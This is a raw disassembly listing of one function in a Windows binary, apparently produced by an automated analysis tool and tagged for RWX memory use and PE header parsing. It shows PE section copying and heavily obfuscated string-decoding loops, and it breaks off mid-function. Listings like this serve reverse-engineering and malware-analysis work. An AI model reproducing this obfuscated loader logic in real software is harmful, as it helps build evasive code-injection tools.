Function at 0x1401c2600
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], r9
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10a0]
mov eax, 0x11a0
call fcn.1403d0140
sub rsp, rax
mov r15, rcx
mov r13d, r8d
mov rcx, qword [rcx + 0x68]
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r10, qword [r15 + 0x20]
mov rdx, qword [r15]
mov rcx, qword [r15 + 8]
mov dword [rbp - 0x7c], eax
mov r8d, dword [r10 + 0x3c]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [r15 + 0x18]
xor r10d, r10d
mov rax, qword [r15 + 0x28]
mov edi, r10d
movzx ebx, word [rdx + 0x14]
add rbx, 0x2c
cmp word [rax + 2], r10w
je 0x1401c26a4
add rbx, rdx
mov eax, dword [rbx - 4]
test eax, eax
je 0x1401c268f
mov edx, dword [rbx]
mov r8d, eax
mov ecx, dword [rbx - 8]
add rdx, qword [r15]
add rcx, qword [r15 + 8]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [r15 + 0x28]
inc edi
add rbx, 0x28
movzx ecx, word [rax + 2]
cmp edi, ecx
jne 0x1401c2674
xor r10d, r10d
movzx edi, byte [rbp + 0x10e0]
xor eax, eax
mov dword [rsp + 0x7e], eax
mov byte [rbp - 0x7e], al
mov dword [rsp + 0x71], 0x8d88b4b3
mov dword [rsp + 0x75], 0x555591a9
mov dword [rsp + 0x79], 0x9796ad56
mov byte [rsp + 0x7d], reloc.WS2_32.dll_inet_ntoa
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
mov r14, r10
movabs rcx, 0xfc25d150a0d9481c
movabs rdx, 0x1832901007a8d2ac
cmp r14, 0x12
jae 0x1401c30de
movzx esi, byte [rsp + r14 + 0x71]
mov r10d, esi
nop word [rax + rax]
cmp r8, r14
ja 0x1401c30d5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401c2749
lea rcx, [r14 + rdx]
movzx eax, r10b
and al, cl
mov edi, 0x26
sub dil, al
add dil, dil
add dil, sil
add dil, cl
movabs rcx, 0xfc25d150a0d9481c
jmp 0x1401c2770
je 0x1401c3057
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c2fcb
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401c2fa6
nop dword [rax]
cmp r9, r14
ja 0x1401c30cc
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1401c279e
lea rdx, [r14 + rcx]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x1401c27de
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401c2f63
inc rax
cmp r8, rax
je 0x1401c2f3b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c2f30
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401c2f02
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401c2ed9
nop
lea rax, [r8 + r9]
cmp rax, r14
jbe 0x1401c2b7f
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1401c2b61
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1401c2b39
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401c2b19
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401c2af6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c2ad7
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1401c2aa9
lea r8, [r9 + 0x200]
lea r9, [r8 + 3]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1401c30ac
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1401c3089
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1401c293a
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1401c2916
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1401c2a61
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1401c2a3f
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1401c27f0
lea r8, [r9 + 0x80]
lea r9, [r8 + 2]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1401c2a11
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1401c29f2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1401c29d3
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1401c29b8
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1401c2990
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1401c296d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1401c27f0
lea r8, [r9 + 0x64]
lea r9, [r8 + 1]
jmp 0x1401c27f0
lea ecx, [r14 + 0xc]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
movabs rcx, 0xfc25d150a0d9481c
sub dil, 0x54
jmp 0x1401c2770
lea edx, [r14 - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, sil
sub cl, al
lea edi, [rcx + rcx]
movabs rcx, 0xfc25d150a0d9481c
add dil, dl
movabs rdx, 0x1832901007a8d2ac
add dil, sil
jmp 0x1401c2710
lea edx, [r14 - 0x20]
movzx eax, sil
and al, dl
movzx edi, sil
add al, al
movzx r10d, r14b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x1401c2f7c
lea edx, [r14 - 0x78]
mov ecx, 0x24
movzx eax, sil
inc r9
and al, dl
dec r14
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
inc r14
jmp 0x1401c26e3
lea ecx, [r14 + 0x28]
movzx eax, sil
and al, cl
add al, al
sub sil, al
lea edi, [rcx + rsi]
sub dil, 0x18
jmp 0x1401c2f17
lea edx, [r14 - 0x30]
mov ecx, 0x28
movzx eax, sil
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x1401c2fee
lea edx, [r14 + 0x78]
movzx eax, sil
and al, dl
movzx edi, sil
add al, al
sub dil, al
sub dil, 0x48
add dil, dl
jmp 0x1401c3016
lea edx, [r14 + 0x20]
movzx eax, sil
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
movzx eax, byte [rsp + r14 + 0x71]
add rax, r9
add r14, rax
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
inc r14
jmp 0x1401c26e3
lea ecx, [r14 - 0x3c]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x5c
mov byte [rsp + r14 + 0x71], dil
inc r14
jmp 0x1401c26e3
lea edx, [r14 + 0x6c]
mov ecx, 6
movzx eax, dl
and al, sil
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
cmp r9, 0x3e8
jb 0x1401c2a54
movzx ecx, sil
movzx r10d, r14b
movzx eax, sil
lea edx, [r10 - 0x78]
and al, dl
add al, al
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x70]
jmp 0x1401c2f7c
lea edx, [r14 - 0x58]
movzx eax, sil
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
movzx eax, byte [rsp + r14 + 0x71]
add rax, r9
add r14, rax
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
inc r14
jmp 0x1401c26e3
lea edx, [r14 + 0x50]
movzx eax, sil
and al, dl
movzx edi, sil
add al, al
sub dil, al
sub dil, 0x30
add dil, dl
jmp 0x1401c3016
lea edx, [r14 - 0x10]
mov ecx, reloc.WS2_32.dll_getservbyport
movzx eax, dl
movzx r10d, r14b
and al, sil
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
jmp 0x1401c2e96
lea ecx, [r14 - 0x68]
dec r14
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x28
inc r14
jmp 0x1401c26e3
lea edx, [r14 + 0x40]
mov ecx, 0x20
movzx eax, dl
inc r9
and al, sil
dec r14
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
inc r14
jmp 0x1401c26e3
movzx r10d, r14b
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x58
jmp 0x1401c2f7c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1401c2c19
lea edx, [r14 - 0x54]
mov ecx, 0x26
movzx eax, dl
and al, sil
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1401c2ebd
lea rcx, [r9 + 6]
cmp r8, rcx
jbe 0x1401c2ce0
lea edx, [r14 - 4]
mov ecx, ntohs
movzx eax, sil
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
cmp r8, 0x400
jae 0x1401c2e73
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1401c2d94
lea edx, [r14 + 0x18]
mov ecx, 0x2c
movzx eax, sil
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x1401c2a7b
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1401c2c50
lea edx, [r14 + 0x38]
mov ecx, 0x3c
movzx eax, dl
and al, sil
sub cl, al
movzx eax, byte [rsp + r14 + 0x71]
add rax, r9
add r14, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
inc r14
jmp 0x1401c26e3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c2c73
lea ecx, [r14 - 0x18]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x58
jmp 0x1401c2fee
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1401c2c99
lea ecx, [r14 - 0x68]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x28
add r8, r9
jmp 0x1401c2f17
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401c2cc5
mov ecx, reloc.WS2_32.dll_getservbyport
movzx r10d, r14b
lea edx, [r10 - 0x10]
movzx eax, dl
and al, sil
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
jmp 0x1401c2e96
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c2ba9
lea edx, [r14 + 0x48]
mov ecx, 4
jmp 0x1401c2faf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c2d0c
movzx r10d, r14b
movzx eax, sil
movzx edi, sil
lea edx, [r10 + 0x54]
and al, dl
add al, al
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x1401c2f7c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c2d32
mov ecx, 0x3e
movzx r10d, r14b
movzx eax, sil
lea edx, [r10 + 0x5c]
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401c2e90
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c2d5d
lea edx, [r14 - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, sil
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
add r8, r9
jmp 0x1401c2f17
cmp r8, rcx
jne 0x1401c2be0
lea edx, [r14 + 0x14]
mov ecx, 0x3a
movzx eax, dl
and al, sil
sub cl, al
movzx eax, byte [rsp + r14 + 0x71]
add rax, r9
add r14, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
inc r14
jmp 0x1401c26e3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c2dc7
lea ecx, [r14 + 0x70]
movzx eax, sil
and al, cl
add al, al
sub sil, al
movzx eax, byte [rsp + r14 + 0x71]
add rax, r9
add r14, rax
lea edi, [rcx + rsi]
sub dil, 0x10
inc r14
jmp 0x1401c26e3
inc rax
cmp r8, rax
jne 0x1401c2dee
lea edx, [r14 - 0x38]
movzx eax, sil
and al, dl
movzx edi, sil
add al, al
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x1401c3016
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c2e16
lea edx, [r14 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, sil
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x1401c2fee
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401c2e43
lea ecx, [r14 + 0x80]
movzx eax, sil
and al, cl
dec r14
add al, al
sub sil, al
lea edi, [rcx + rsi]
add dil, 0x80
inc r14
jmp 0x1401c26e3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1401c2a7b
movzx r10d, r14b
movzx eax, sil
movzx edi, sil
lea edx, [r10 + 0x30]
and al, dl
add al, al
sub dil, al
sub dil, 0x50
add dil, dl
jmp 0x1401c2f7c
movzx edi, byte [rsp + r14 + 0x71]
movzx r10d, r14b
movzx eax, sil
lea edx, [r10 - 0x20]
and al, dl
add al, al
sub dil, al
sub dil, 0x20
add dil, sil
add dil, dl
sub r10b, 0x74
movzx eax, sil
and al, r10b
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
add cl, cl
add cl, sil
add cl, r10b
add cl, dil
mov byte [rsp + r14 + 0x71], cl
add r8, r9
jmp 0x1401c2f17
lea edx, [r14 + 0x38]
mov ecx, 0x3c
movzx eax, dl
and al, sil
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1401c2fee
lea ecx, [r14 + 0x34]
movzx eax, cl
and al, sil
add al, al
sub cl, al
movzx eax, byte [rsp + r14 + 0x71]
add rax, r9
add r14, rax
lea edi, [rsi + rcx]
sub dil, 0x6c
inc r14
jmp 0x1401c26e3
lea ecx, [r14 + 0x2c]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x34
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
inc r14
jmp 0x1401c26e3
lea edx, [r14 + 0x24]
mov ecx, 2
jmp 0x1401c2faf
lea edx, [r14 - 0x34]
mov ecx, getservbyname
movzx eax, dl
inc r9
and al, sil
dec r14
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
inc r14
jmp 0x1401c26e3
movzx r10d, r14b
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x2c
add r10b, 0x34
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
sub r10b, 0x6c
add r10b, sil
mov byte [rsp + r14 + 0x71], r10b
inc r9
dec r14
inc r14
jmp 0x1401c26e3
lea edx, [r14 + 0x14]
mov ecx, 0x3a
movzx eax, dl
and al, sil
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
dec r14
inc r14
jmp 0x1401c26e3
mov edx, 0xa
movabs rcx, 0xa961f070359dc2b4
add rcx, r14
movzx eax, cl
and al, r10b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
lea edx, [r14 - 0x1c]
movzx eax, sil
and al, dl
inc r9
add al, al
movzx ecx, sil
sub cl, al
sub cl, 0x3c
add cl, dl
movzx eax, cl
mov byte [rsp + r14 + 0x71], al
add rax, r9
sub r14, rax
lea edx, [r14 - 0x70]
movzx eax, sil
and al, dl
inc r8
mov ecx, 8
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, sil
add cl, dl
mov byte [rsp + r14 + 0x71], cl
add r14, rax
movzx eax, byte [rsp + r14 + 0x71]
add rax, r9
add r14, rax
inc r14
jmp 0x1401c26e3
movabs rcx, 0x4897b03016fa7804
add rcx, r14
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x1c
movzx eax, byte [rsp + r14 + 0x71]
add rax, r9
add r14, rax
inc r14
jmp 0x1401c26e3
add r14b, 0x5c
mov ecx, 0x3e
movzx eax, sil
and al, r14b
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r14b
xor r10d, r10d
jmp 0x1401c26df
add r14b, 4
movzx eax, sil
and al, r14b
add al, al
sub sil, al
lea edi, [r14 + rsi]
sub dil, 0x1c
xor r10d, r10d
jmp 0x1401c26d1
lea rdx, [rbp + 0x16d8b01]
jmp 0x1401c30e3
lea rdx, [rbp + 0x1565dad]
jmp 0x1401c30e3
lea rdx, [rsp + 0x71]
mov rcx, qword [r15 + 0x68]
call fcn.1401c1ce0
movzx r11d, byte [rbp + 0x10e0]
xor ebx, ebx
mov rsi, rax
mov qword [rbp - 0x58], rbx
xor eax, eax
mov dword [rsp + 0x60], 0x7f734062
mov dword [rsp + 0x6d], eax
movabs r14, 0x78f7145f117dd0e3
mov dword [rsp + 0x64], 0x4d7e7666
mov dword [rsp + 0x68], 0x98434b7d
mov byte [rsp + 0x6c], 0xda
nop word [rax + rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
mov rdi, rbx
cmp rdi, 0x11
jae 0x1401c3c0b
movzx ebx, byte [rsp + rdi + 0x60]
mov rdx, rbx
cmp r8, rdi
ja 0x1401c3c02
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401c317f
lea r11, [rdi + r14]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
sub r11b, 0x35
add r11b, dl
jmp 0x1401c31b0
je 0x1401c3b8e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c3b5e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401c3b3f
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401c3b00
nop dword [rax]
cmp r9, rdi
ja 0x1401c3bf9
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1401c31d8
lea ecx, [rdi - 0x61]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x59
jmp 0x1401c3230
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401c3ae5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c3ac6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401c3aad
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401c3a35
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401c3a1f
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401c39f8
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1401c36c8
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1401c36a6
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1401c3684
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1401c3660
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1401c3642
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401c3629
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1401c360b
lea rcx, [r9 + 9]
cmp r8, rcx
je 0x1401c35ed
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1401c35cf
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401c35a8
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1401c3240
lea r9, [rcx + 0x7a]
mov r8, rcx
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1401c3bdc
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1401c3bbf
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1401c33e2
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1401c33c9
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1401c33b0
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1401c355e
lea rcx, [r9 + 0x200]
cmp r8, rcx
jb 0x1401c3518
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401c34da
lea r9, [rcx + 6]
mov r8, rcx
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1401c34b3
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1401c3495
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1401c3478
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x1401c345a
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1401c3441
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1401c341f
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x1401c33fb
mov r8, rax
lea r9, [rax + 0x64]
jmp 0x1401c3240
lea ecx, [rdi + 0x41]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x39
jmp 0x1401c3230
lea ecx, [rdi + 0x7b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5d
jmp 0x1401c31b0
lea ecx, [rdi - 0x4b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xd
jmp 0x1401c3152
lea edx, [rdi + 0x6c]
mov ecx, 6
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c3143
lea edx, [rdi - 0x5a]
mov ecx, 0x3b
movzx eax, dl
movzx r10d, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c39bb
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1401c3b72
lea edx, [rdi + 0x1a]
mov ecx, 0x25
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c3b75
lea ecx, [rdi + 0x54]
movzx r10d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x1401c3a4e
lea edx, [rdi - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c3a75
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x78
inc rdi
jmp 0x1401c3143
lea ecx, [rdi - 0x6d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 5
cmp r9, 0x40
jb 0x1401c3990
movzx r10d, dil
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x3c]
jmp 0x1401c3b19
lea ecx, [rdi - 0x33]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x65
cmp r8, 4
jae 0x1401c399d
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1401c389d
lea edx, [rdi - 0x4a]
mov ecx, 3
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c34ee
lea ecx, [rdi + 7]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x31
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1401c39db
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1401c378e
lea ecx, [rdi + 0x17]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5f
jmp 0x1401c352c
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x16
inc rdi
jmp 0x1401c3143
lea edx, [rdi - 0xc]
mov ecx, 0x2a
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c3a75
movzx r10d, dil
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
jmp 0x1401c3a4e
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c3b75
lea ecx, [rdi - 0x5e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
jmp 0x1401c3b72
movzx r10d, dil
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x1401c39bb
lea edx, [rdi + 0x16]
mov ecx, reloc.WS2_32.dll_gethostbyaddr
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1401c3143
lea ecx, [rdi + 0x50]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
inc rdi
jmp 0x1401c3143
lea edx, [rdi - 0x76]
mov ecx, 0x1d
movzx eax, dl
movzx r10d, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c3b19
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1401c36ea
lea ecx, [rdi - 0x1d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x35
jmp 0x1401c3572
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c371f
lea edx, [rdi + 0x3e]
mov ecx, 0x27
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1401c3143
inc rax
cmp r8, rax
jne 0x1401c3740
lea ecx, [rdi + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1401c3a75
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c3762
lea ecx, [rdi + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
jmp 0x1401c3b72
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401c3572
lea ecx, [rdi - 0x1e]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
inc rdi
jmp 0x1401c3143
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c37b5
movzx r10d, dil
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xb
jmp 0x1401c3b19
inc rax
cmp r8, rax
jne 0x1401c37dc
lea ecx, [rdi + 0x69]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x21
inc rdi
jmp 0x1401c3143
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c37fe
lea ecx, [rdi - 0xb]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4d
jmp 0x1401c3b72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c3820
lea ecx, [rdi - 0x45]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1d
jmp 0x1401c3b75
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401c3847
movzx r10d, dil
lea ecx, [r10 - 0x7f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x79
jmp 0x1401c3a4e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401c3869
lea ecx, [rdi + 0x47]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xf
jmp 0x1401c3a75
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1401c352c
lea ecx, [rdi + 0xd]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x5b
inc rdi
jmp 0x1401c3143
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c38cd
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x64
inc rdi
jmp 0x1401c3143
inc rax
cmp r8, rax
jne 0x1401c38f3
lea edx, [rdi + 0x42]
mov ecx, 0x19
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c3a75
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c391a
lea edx, [rdi - 0x32]
mov ecx, gethostbyaddr
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c3b75
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c393c
lea ecx, [rdi - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x1401c3b72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c3960
movzx r10d, dil
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
